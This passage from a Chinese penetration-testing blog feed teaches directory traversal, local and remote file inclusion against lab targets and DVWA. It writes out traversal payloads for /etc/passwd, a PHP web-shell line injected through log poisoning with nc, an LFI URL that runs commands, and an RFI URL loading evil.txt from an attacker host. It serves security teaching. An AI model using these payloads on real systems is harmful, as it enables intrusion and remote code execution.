 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;HTTP&lt;/td&gt;
 &lt;td&gt;80&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;Web服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;HTTPS&lt;/td&gt;
 &lt;td&gt;443&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;加密Web服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;FTP&lt;/td&gt;
 &lt;td&gt;21&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;文件传输&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;FTPS&lt;/td&gt;
 &lt;td&gt;990&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;加密FTP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SSH&lt;/td&gt;
 &lt;td&gt;22&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;安全Shell&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Telnet&lt;/td&gt;
 &lt;td&gt;23&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;远程终端&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SMTP&lt;/td&gt;
 &lt;td&gt;25&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;邮件发送&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;DNS&lt;/td&gt;
 &lt;td&gt;53&lt;/td&gt;
 &lt;td&gt;TCP/UDP&lt;/td&gt;
 &lt;td&gt;域名解析&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;POP3&lt;/td&gt;
 &lt;td&gt;110&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;邮件接收&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;IMAP&lt;/td&gt;
 &lt;td&gt;143&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;邮件接收&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SNMP&lt;/td&gt;
 &lt;td&gt;161&lt;/td&gt;
 &lt;td&gt;UDP&lt;/td&gt;
 &lt;td&gt;网络管理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;LDAP&lt;/td&gt;
 &lt;td&gt;389&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;目录服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;LDAPS&lt;/td&gt;
 &lt;td&gt;636&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;加密LDAP&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SMB/CIFS&lt;/td&gt;
 &lt;td&gt;445&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;文件共享&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SQL Server&lt;/td&gt;
 &lt;td&gt;1433&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;数据库&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MySQL&lt;/td&gt;
 &lt;td&gt;3306&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;数据库&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PostgreSQL&lt;/td&gt;
 &lt;td&gt;5432&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;数据库&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RDP&lt;/td&gt;
 &lt;td&gt;3389&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;远程桌面&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;WinRM&lt;/td&gt;
 &lt;td&gt;5985/5986&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;Windows远程管理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Kerberos&lt;/td&gt;
 &lt;td&gt;88&lt;/td&gt;
 &lt;td&gt;TCP/UDP&lt;/td&gt;
 &lt;td&gt;身份验证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Global Catalog&lt;/td&gt;
 &lt;td&gt;3268/3269&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;AD目录服务&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Tomcat&lt;/td&gt;
 &lt;td&gt;8080/8443&lt;/td&gt;
 &lt;td&gt;TCP&lt;/td&gt;
 &lt;td&gt;Web应用服务器&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Day27 目录遍历、文件包含与SQL注入漏洞</title><link>https://ruajingjing.top/post/day27-%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B8%8Esql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</link><pubDate>Tue, 21 Oct 2025 13:57:15 +0000</pubDate><guid>https://ruajingjing.top/post/day27-%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B8%8Esql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day27 目录遍历、文件包含与SQL注入漏洞" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h1 id="目录遍历漏洞directory-traversal-vulnerabilities"&gt;目录遍历漏洞（Directory Traversal Vulnerabilities）
&lt;/h1&gt;&lt;p&gt;目录遍历漏洞，也称为路径遍历漏洞，允许攻击者未经授权访问应用程序内的文件，或访问通常无法通过 Web 接口访问的文件（例如 Web 根目录之外的文件）。当输入验证不当时，就会出现此漏洞，从而使攻击者能够使用&amp;quot;../&amp;ldquo;或&amp;rdquo;..&amp;quot;字符来操控文件路径。&lt;/p&gt;
&lt;p&gt;这些攻击可能会暴露敏感信息，但==不会在应用程序服务器上执行代码==。在某些用特定编程语言编写的应用程序服务器上，目录遍历攻击可用于帮助促成文件包含攻击。尽管识别这两类漏洞的技术有所重叠，但它们的最终结果不同。&lt;/p&gt;
&lt;h3 id="识别和利用目录遍历"&gt;&lt;strong&gt;识别和利用目录遍历​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;搜索目录遍历漏洞始于检查 URL 查询字符串和表单主体，寻找看似文件引用的值，最常见的迹象是 URL 查询字符串中的文件扩展名。&lt;/p&gt;
&lt;p&gt;一旦识别出一些可能的候选参数，我们就可以修改这些值，尝试引用系统上任何用户都应可读的文件，例如 Linux 上的 &lt;code&gt;/etc/passwd&lt;/code&gt;或 Windows 上的 &lt;code&gt;c:\boot.ini&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;让我们回到 Windows 10 实验机上的示例应用程序来演示此漏洞。请确保在继续之前已启动 Apache 和 MySQL。&lt;/p&gt;
&lt;p&gt;从主 Web 索引页面，点击&amp;quot;Menu&amp;quot;显示示例菜单：&lt;/p&gt;
&lt;p&gt;点击&amp;quot;Menu&amp;quot;链接后，URL 会更新并包含一个名为 &lt;code&gt;file&lt;/code&gt;的参数，其值为&amp;quot;current_menu.php&amp;quot;。参数值中出现文件扩展名通常是一个很好的迹象，表明我们应该进一步调查，因为它暗示正在从其他资源包含文本或代码。大多数目录遍历漏洞并不如此明显，但有相当数量的旧版 PHP 应用程序以类似方式加载页面。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021151227046.png"&gt;&lt;/p&gt;
&lt;p&gt;在不知道代码具体实现的情况下，我们可以通过更改 &lt;code&gt;file&lt;/code&gt;参数的值开始试探。如果我们将&amp;quot;current_menu.php&amp;quot;更改为&amp;quot;old.php&amp;quot;之类的值，我们会得到一个错误而不是菜单：&lt;/p&gt;
&lt;p&gt;请注意，错误消息表明服务器未能打开要包含的文件，并返回了完整的文件路径。这表明我们很可能可以通过操纵 &lt;code&gt;file&lt;/code&gt;参数来控制页面中呈现的内容。如果我们之前不知道目标是 Windows 主机，这个错误消息也会泄露这一点。它还包含了应用程序的源目录信息。操作系统信息在利用目录遍历漏洞时至关重要。&lt;/p&gt;
&lt;p&gt;由于我们知道应用程序运行在 Windows 系统上，让我们更新我们的载荷，以 Windows 的 hosts 文件为目标。在 Windows 系统上，这是一个有用的目标文件，因为它稳定可靠且任何用户都可访问。&lt;/p&gt;
&lt;p&gt;让我们将参数值更改为 &lt;code&gt;c:\windows\system32\drivers\etc\hosts&lt;/code&gt;并提交 URL：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021151257789.png"&gt;&lt;/p&gt;
&lt;h3 id="练习"&gt;练习​​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用该目录遍历漏洞，读取你的靶机上的任意文件。
这里使用dvwa靶场来演示
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155312514.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155358032.png"&gt;
找到&lt;code&gt;?page=&lt;/code&gt; 的注入点后就尝试输入 &lt;code&gt;page=../../../../../etc/passwd&lt;/code&gt; 就能目录遍历到根目录读取用户配置文件。这里输入多个&lt;code&gt;../&lt;/code&gt; 是为了利用Linux的特性，&lt;code&gt;../&lt;/code&gt; 表示回到上一级目录。因为此时我们不知道这个网页的php在Linux系统中的哪个目录，用多个&lt;code&gt;../&lt;/code&gt; 能确保返回到根目录&lt;code&gt;/&lt;/code&gt; 然后再从根目录访问文件的绝对目录。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155559503.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021161312855.png"&gt;
这个靶场的特性没有过滤&lt;code&gt;/&lt;/code&gt;字符，所以直接输入&lt;code&gt;page=/etc/passwd&lt;/code&gt; 也是能访问成功的。登录到靶机的docker环境中可以看到etc下面有这些文件（做参考），比较有用的就是passwd, hosts, hostname, shadow 等，这几个文件一般在Linux服务器上都普遍存在，其中要注意的是shadow文件可能因为权限问题无法读取，需要提权后再读。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155850784.png"&gt;
找到dvwa靶场的网页文件，发现除了页面上展示的1，2，3文件，还有一个file4.php 文件
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160411211.png"&gt;
在页面上访问可以看到4的内容，提示我们这个就算是找到靶场的隐藏文件了。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160615267.png"&gt;
值得注意的是，靶场对file4.php的内容是直接渲染的，渲染成php文件在页面中。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160858638.png"&gt;
而对其他文件，etc/passwd 和根目录下一个.sh 文件则是直接显示文字内容，没有渲染也没有执行sh的命令。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021161026348.png"&gt;
这是因为这个靶场演示的还是文件包含，文件包含与目录遍历的区别就是文件包含能够直接执行或者渲染文件要做的内容，而目录遍历只能看看。通常，如果找到一个目录遍历的洞之后，配合文件上传之类的漏洞上传了一句话木马发现木马执行不成功，或者在蚁剑中怎么也连不上，就要考虑这个注入点只是目录遍历而没有文件包含，文件==只是作为文字内容显示，而不能执行其内容==。此时就要考虑在找找有没有文件包含的洞，让上传的马跑起来。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021172510896.png"&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="文件包含漏洞file-inclusion-vulnerabilities"&gt;文件包含漏洞（File Inclusion Vulnerabilities）
&lt;/h1&gt;&lt;p&gt;与仅显示文件内容的目录遍历不同，&lt;strong&gt;文件包含漏洞&lt;/strong&gt;允许攻击者将文件包含到应用程序的运行代码中。要真正利用文件包含漏洞，我们不仅需要能够执行代码，还必须能够将shell载荷写入某个地方。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本地文件包含(LFI Local File Inclusion)&lt;/strong&gt; 发生在被包含的文件从同一Web服务器加载时。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;远程文件包含(RFI Remote File Inclusion)&lt;/strong&gt; 发生在从外部源加载文件时。这些漏洞通常出现在PHP应用程序中，但也可能出现在其他编程语言中。&lt;/p&gt;
&lt;p&gt;这些漏洞的利用取决于应用程序编写的编程语言和服务器配置。对于PHP来说，语言运行时的版本和Web服务器配置，特别是php.ini中的值(如&lt;code&gt;register_globals&lt;/code&gt;和&lt;code&gt;allow_url_wrappers&lt;/code&gt;)，对这些漏洞的利用方式有着重大影响。&lt;/p&gt;
&lt;p&gt;请注意，目录遍历漏洞通常与LFI结合使用，特别是用于指定LFI载荷中使用的文件。&lt;/p&gt;
&lt;h2 id="识别文件包含漏洞"&gt;识别文件包含漏洞
&lt;/h2&gt;&lt;p&gt;文件包含漏洞的发现方式与目录遍历相同。我们必须找到可以操纵的参数，并尝试使用它们来加载任意文件。然而，文件包含更进一步，我们尝试在应用程序中==执行文件的内容==。&lt;/p&gt;
&lt;p&gt;我们还应该检查这些参数是否容易受到远程包含(RFI)的攻击，方法是将它们的值更改为URL而不是本地路径。由于现代PHP版本的默认配置禁用了远程URL包含(这是执行远程代码所需的关键功能)，我们不太可能找到RFI漏洞。然而，我们仍应测试RFI，因为它们通常比LFI更容易利用。&lt;/p&gt;
&lt;p&gt;我们可以使用Netcat、Apache或Python来处理请求，就像我们在XSS中所做的那样。我们可能需要尝试在不同端口上托管载荷，因为目标服务器发起的任何远程连接都可能受到内部防火墙或路由规则的限制。可能需要一些试错。&lt;/p&gt;
&lt;h2 id="利用本地文件包含lfi"&gt;利用本地文件包含(LFI)
&lt;/h2&gt;&lt;p&gt;一个示例应用程序，我们将从目录遍历攻击中断的地方继续，查看menu.php的源代码以明确我们正在处理的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;file&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;应用程序从请求查询字符串中读取file参数，然后将该值与&lt;code&gt;include&lt;/code&gt;语句一起使用。这意味着应用程序将&lt;strong&gt;执行指定文件中的任何PHP代码&lt;/strong&gt;。如果应用程序使用&lt;code&gt;fread&lt;/code&gt;打开文件并使用&lt;code&gt;echo&lt;/code&gt;显示内容，文件中的任何代码都将被显示而不是执行。&lt;/p&gt;
&lt;p&gt;如果我们能够以某种方式将PHP代码写入本地文件，我们可能能够将此漏洞推进到远程代码执行。由于我们无法将文件上传到服务器，我们有哪些选择？&lt;/p&gt;
&lt;h3 id="污染日志文件"&gt;污染日志文件
&lt;/h3&gt;&lt;p&gt;我们可以尝试通过&lt;strong&gt;日志文件投毒&lt;/strong&gt;将代码注入服务器。大多数应用服务器会记录所有请求的URL。我们可以利用这一点，提交包含PHP代码的请求。一旦请求被记录，我们就可以在LFI载荷中使用日志文件。&lt;/p&gt;
&lt;p&gt;首先，注意整个载荷是用PHP编写的：它以&lt;code&gt;&amp;lt;?php&lt;/code&gt;开始，以&lt;code&gt;?&amp;gt;&lt;/code&gt;结束。PHP载荷的主体是一个简单的&lt;code&gt;echo&lt;/code&gt;命令，它将输出打印到页面。这个输出首先被包裹在&lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; HTML标签中，这些标签保留结果中的任何换行符或格式。接下来是函数调用本身，&lt;code&gt;shell_exec&lt;/code&gt;，它将执行操作系统命令。最后，操作系统命令通过&lt;code&gt;_GET['cmd']&lt;/code&gt;从GET请求的&amp;quot;cmd&amp;quot;参数中检索。这一行PHP代码将允许我们通过查询字符串指定操作系统命令，并在浏览器中输出结果。&lt;/p&gt;
&lt;p&gt;现在让我们发送该载荷：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ nc -nv 10.11.0.22 &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.22&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;http&lt;span class="o"&gt;)&lt;/span&gt; open
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;pre&amp;gt;&amp;#39;&lt;/span&gt; . shell_exec&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; . &lt;span class="s1"&gt;&amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;HTTP/1.1 &lt;span class="m"&gt;400&lt;/span&gt; Bad Request
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;尽管出现&amp;quot;Bad Request&amp;quot;错误(因为我们没有发出有效的HTTP请求)，我们可以通过检查Windows 10实验机器上的Apache日志文件来验证请求已提交。&lt;/p&gt;
&lt;p&gt;我们可以通过打开&lt;code&gt;apache\logs\access.log&lt;/code&gt;或使用XAMPP控制面板（Windows）来查看这些日志。&lt;/p&gt;
&lt;p&gt;我们的载荷应该在日志文件末尾附近找到：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
&amp;#34;GET /css/bootstrap.min.css HTTP/1.1&amp;#34; 200 155758 &amp;#34;http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts&amp;#34; &amp;#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&amp;#34;

10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] &amp;#34;GET /tacotruck.php HTTP/1.1&amp;#34; 200 1189 &amp;#34;http://10.11.0.22/menu.php?file=/&amp;#34; &amp;#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&amp;#34;

10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] &amp;#34;&amp;#34;&amp;lt;?php echo &amp;#39;&amp;lt;pre&amp;gt;&amp;#39; . shell_exec($_GET[&amp;#39;cmd&amp;#39;]) . &amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;;?&amp;gt;\n&amp;#34; 400 981 &amp;#34;-&amp;#34; &amp;#34;-&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;由于我们的载荷已被记录，我们可以尝试LFI执行。&lt;/p&gt;
&lt;h3 id="lfi代码执行"&gt;LFI代码执行
&lt;/h3&gt;&lt;p&gt;接下来，我们将使用LFI漏洞来包含包含我们PHP载荷的Apache &lt;code&gt;access.log&lt;/code&gt;文件。我们知道应用程序正在使用&lt;code&gt;include&lt;/code&gt;语句，因此包含文件的内容将作为PHP代码执行。&lt;/p&gt;
&lt;p&gt;我们将构建一个URL，其中包括日志的位置以及要执行的命令(ipconfig)作为cmd参数的值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=\path\apache\logs\access.log&amp;amp;cmd=ipconfig
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一旦URL发送到Web服务器，输出应该如下所示：&lt;/p&gt;
&lt;p&gt;如果一切按预期工作，页面底部应该包括ipconfig的输出。&lt;/p&gt;
&lt;p&gt;那么到底发生了什么？由于应用程序的PHP &lt;code&gt;include&lt;/code&gt;语句和我们指定要包含哪个文件的能力，被污染的access.log文件的内容被网页执行了。&lt;/p&gt;
&lt;p&gt;PHP引擎反过来运行日志文件文本中的&lt;code&gt;&amp;lt;?php echo shell_exec($_GET['cmd']);?&amp;gt;&lt;/code&gt;部分(我们的载荷)，cmd变量的值为&amp;quot;ipconfig&amp;quot;，本质上在目标上运行ipconfig并显示输出。日志文件中的其他行只是被显示，因为它们不包含有效的PHP代码。&lt;/p&gt;
&lt;h3 id="练习-1"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;通过使用LFI攻击获得代码执行&lt;/li&gt;
&lt;li&gt;使用代码执行获得完整的shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022104954594.png"&gt;
日志文件污染的方法，但是这个dvwa没成功，所以这次用靶场的文件上传功能演示LFI。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022105800119.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022105956381.png"&gt;&lt;/p&gt;
&lt;h2 id="远程文件包含rfi"&gt;远程文件包含(RFI)
&lt;/h2&gt;&lt;p&gt;远程文件包含(RFI)漏洞不如LFI常见，因为服务器必须以非常特定的方式配置，但它们通常更容易利用。例如，PHP应用程序必须将&lt;code&gt;allow_url_include&lt;/code&gt;设置为&amp;quot;On&amp;quot;。旧版本的PHP默认开启此选项，但较新版本默认为&amp;quot;Off&amp;quot;。如果我们可以强制Web应用程序加载远程文件并执行代码，我们在创建利用载荷方面就有更多的灵活性。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022102406853.png"&gt;&lt;/p&gt;
&lt;p&gt;让我们看一个RFI漏洞的例子。之前演示的LFI漏洞也容易受到RFI攻击。考虑以下情况：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这个请求将强制PHP Web服务器尝试从我们的Kali攻击机器包含一个远程文件。我们可以通过在Kali机器上启动netcat监听器来测试这一点，然后在Windows 10目标上提交URL：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sudo nc -nvlp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;listening on &lt;span class="o"&gt;[&lt;/span&gt;any&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;connect to &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.4&lt;span class="o"&gt;]&lt;/span&gt; from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.22&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;50324&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;GET /evil.txt HTTP/1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Host: 10.11.0.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出显示，当提交URL时，Windows 10机器确实连接到我们的Kali机器，试图检索evil.txt文件。如果文件被检索到，它将进一步尝试包含并执行它。&lt;/p&gt;
&lt;p&gt;虽然这是一个简单的例子，但URL是有效的，过程是有效的，本质上允许我们加载并执行托管在远程Web服务器上的任何文件。&lt;/p&gt;
&lt;h3 id="rfi技巧"&gt;RFI技巧
&lt;/h3&gt;
 &lt;blockquote&gt;
